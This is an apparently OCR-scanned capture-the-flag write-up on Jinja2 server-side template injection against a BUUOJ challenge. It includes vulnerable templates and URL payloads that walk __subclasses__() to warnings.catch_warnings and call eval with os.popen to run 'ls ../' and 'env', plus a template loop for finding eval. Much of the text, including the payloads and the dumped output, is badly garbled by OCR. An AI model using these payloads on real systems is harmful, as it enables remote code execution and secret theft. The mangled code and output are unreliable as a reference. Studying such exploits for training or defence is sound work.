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<html>
<head>
<title>SSTI TEST</title>
</head>

<body>
<hl>Hello, %s !</h1>
</body>
</html>
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<html>
<head>
<title>{{title}}</title>
</head>

<body>
<h1>Hello, {{name}} !</h1>
</body>
</html>




BRAX R, PN R R
Hello admin r O==s Osss DiEtE N AE @ HackBar |

Encryption ~ Encoding ~ SQL~ XSS~ Other ~

g Load URL | hitpr//noded . buuoj.cn:28103/?name=admin

1 split URL

| Execute
[ Postdata [J Referer [ User Agent [J

CS5DMN @F1or

{17y, [WE7, fFESSTHEA

Hello 7 O O==s Ossa DiEts N AE @ Hackear -

Encryption ~ Encoding ~ SQL~ XSS~ Other ~

g Load URL | hitp:/inoded buuoj.cn:28103/?name={{1*7}}

1 split URL

| Execute
[0 Postdata [] Referer [J User Agent [J

XH RS class_ SR EM Ik
Fi__bases_ #Fth ) 5Ek
subclass()#k 2112

HEIIO[II!!Illl!!!llll!!lll!l!lll!!llll!!!lll!!llll!!!llll!!lll!l!lll!!llll!!!llll!!lll!l!lll!!llll!!!ll
I N N N N NN RN RN

L A A N N N N N N NN NN

oy O Uesls DEEE N AE @ Haktar {(}BREEsS O ar Bk 7 TESHRE 5 UEER

Encryption ~ Encoding ~ SQL ~ XSS~ Other -

l g Load URL http://noded buuoj.cn:28103/?name={{%27%27 __class___ bases_ [0] _ subclasses__ ()1}
1 split URL
») Execute ) -
- [ Postdata [ Referer [] User Agent [J] Cookies Clear All CEDMN @Flor

¥
B IRRD AT LU BT 16

Iello [<class *type’ >, <class “weakref’ >, <{class “weakcallableproxy >,

TR IR A AR b, FERM

—sefilefit b read T, FISREHUEFCHE, BURE B, (HRTE
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list.replace('\"'",
list.replace('<',"")

list.replace('>',"")

list.replace('class ','")
list.replace('enum ',"'")
list.replace('type ',"'")
list.replace(' ',"'")
list.split("’,

print(list)

className = 'warn

num = list.index(className)

print(num) #i&[m

if name__ == '__main__
find()

["type', 'weakref',
166

#3 7 warnings.catch_warnings FIfi &, T—F

Hello {__name_": 'warnings', '__doc_": 'Python part of the warnings subsystem.’,'__package__
<_frozen_im ortllb external! SourceFlIeLoader obJect at 0x7f0b58582f60=>, orig

_builtins_s {_name__: *builtins’, *
7bu||d class import_'
': . "next":

loader_*: < frozen importlib_external.SourceFileLoader object at 0x7f0b58582f60>, '_spec_*: ModuleSpec(name="warnings', loader=
="/ust/local/lib/python3.6/warnings. py’). le_":'/usr/local/lib/python3. learnlngs py'.'_cached
“Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the “nil object; Ellipsis represents ..." in slices.”, '_package . ModuleSpecname="builtins’, loader=),
‘any':, 'ascii, 'bin'z, 'callable’:, 'chr';, '‘compile’:, 'delattr:, ‘dlr ‘divmod';, "eval':, 'exec”, 'format":, 'getattr:, 'globals’:, 'hasattr"; , 'hash’ instance:, |ssubclass ,iter's, 'len’:
:, 'pow':, 'pi . 'round‘:, 'selaﬂr': , "sorted':, 'sui . 'None": None, 'Ellipsis': is, 'Nollmplemenled': Nollmplemented 'False”: False, 'True': True, 'bool' bytearray B
: complex ‘dld" ‘enumerate:, filter’:, *float": , 'frozenset":, "property":, 'in ':, 'object”:, " , 'set’s, 'slice”, 'staticmethod’: , 'str':, 'super:, 'tuple":, 'type':, 'zip", '_«
'BaseException”: , ‘B:ceptlon "TypeError':, 'StopAsynclteration”: , 'Stoplteration”. , ‘Generatorl . 'Keyboardinterrup’ ‘Impor‘tErmr':, ‘ModuleNotFoundError': . 'OSError’: . 'EnvironmentErmr': . 'IOError':, 'EOFError': , 'RuntimeError': ,
‘RecursionError’:, NotlmplementedEnor , 'NameError':, "UnboundLocalError: AllributsEno abError':, 'LookupError', 'IndexError':, 'KeyError': , 'ValueError':, 'UnicodeError” , 'UnicodeEncodeError':,
'UnicodeDecodeError': , 'UnicodeTranslateError'; , ‘AssertionError': , 'AnthmetlcError . 'FloatingPointError"; , *OverflowError':, "ZeroDivisienError': , 'SystemError”: , 'ReferenceError': , 'BufferError':, 'MemoryError”: , "Warning': , 'UserWarning':,
‘DeprecationWarning': , "PendingDeprecationWarning':, 'SyntaxWarning':, 'RuntimeWarning": , 'FutureWarning':, 'ImportWarning'": , 'UnicodeWarning':, 'BytesWarning': , 'ResourceWarning': , 'ConnectionError':, 'BlockinglOError': , 'BrokenPipeError’
"ChildProcessError": , 'ConnectionAbortedError': , 'ConneclionRefusedErro . 'ConnedionRese{Ermr': B 'FiIeExislsErmr': B 'FiIeNolFoundError’: . 'IsADirectoryError':, 'NotADirectoryError': , "InterruptedError': , 'PermissionError': , 'ProcessLookupError':,
TimeoutError':, 'open':, "quit': Use quit() or Ctrl-D (i.e. EOF) to exit, "exit": Use exit() or Ctrl-D (i.e. EOF) to exit, ‘copyright': Copyright (c) 2001-2019 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights
Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'credits: Thanks to CWI, CNRI, BeOpen.com, Zope
Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'license”: Type license() to see the full license text, 'help”: Type help() for interactive help, or help(object) for help about object},
sys *all_ " [warn ‘warn_explicit', 'showwarning’, ‘formatwarning’, 'filterwarnings', 'simplefilter’, 'resetwarnings', ‘catch_warnings'], 'showwarning':, "formatwarning’:, '_showwarnmsg_impl", '_formatwarnmsg_impl", showwarnlng orig",
showwarnmsg i ig":, '_formatwarnmsg':, filterwarnings':, 'simplefilter': , '_add_filter':, 'resetwarnings”: , ' OptionError':, '_processoptions™:, ' setoption”:, '_getaction':, '_getcategory": nternal_frame':, *_next_external_frame
'warn'z, 'warn_ex o WarnlngMessage ‘catch_warnings':, filters": [(‘ignore’, None, , None, 0), ('ignore’, None, , None, 0), ('ignore’, None, , None, 0), (‘ignore’, None, , None, 0), ('ignore’, None, , None, 0), ('ignore’, re. (omplle(" relGNORECASE),
re.mmpile(”], o). '_defaulladlun ‘default, "_onceregistry: {}, '_filters_mutated":, 'defaultaction’: 'default’, 'onceregistry": {}}
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@ Load URL hitp://noded.buuoj.cn:28103/?name={{%27%27.__class_ . bases_ [0]._ subclasses_ ()[166].__init__. globals_ . builtins_ [%27eval%27](%22__import_ (%2705%27).popen(%271s%20../%27).read()%22)}}
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{%27%27. class_ . bases_[0@]. subclasses ()[166]. init . globals . builtins_[%27eval%27](%22__import
(%270s%27) .popen(%27env%27) .read()%22)}}
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@ Load URL hitp//noded buuoj.cn:28103/7name={{%27%27 __class____ bases_ [0] _ subclasses_ ()[166] __init____ globals____builtins__[%27eval%27])(%22__import__(%2705%27). popen(%27enve27) read()%22)}
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{% for ¢ in [].__class_ . base . subclasses () %}
{% if c.__name }
{% for b in c.__init . globals__ .values() %}
{% if b. _class__ {}. _class__ %}
{% if in b.keys() %}
{{ bl 1(
{% endif %}
{% endif %}
{% endfor %}
endif %}

endfor %}
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